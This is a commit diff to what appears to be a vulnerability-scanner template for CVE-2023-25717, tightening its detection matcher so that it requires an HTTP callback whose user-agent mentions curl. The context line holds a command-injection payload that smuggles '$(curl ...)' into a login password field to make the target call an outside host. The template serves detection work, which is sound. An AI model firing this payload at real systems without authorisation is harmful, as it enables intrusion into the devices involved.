strict dsl matcher with addition check

2023-05-09 18:40:00 +05:30 · 2023-05-09 18:40:00 +05:30 · c59974226f
parent 0450d1224f
commit c59974226f
1 changed files with 5 additions and 4 deletions
--- a/http/cves/2023/CVE-2023-25717.yaml
+++ b/http/cves/2023/CVE-2023-25717.yaml
@ -29,7 +29,8 @@ http:
      - "{{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0"

    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "http"
+      - type: dsl
+        dsl:
+          - contains(interactsh_protocol, 'http')
+          - contains_all(to_lower(interactsh_request), 'user-agent','curl')
+        condition: and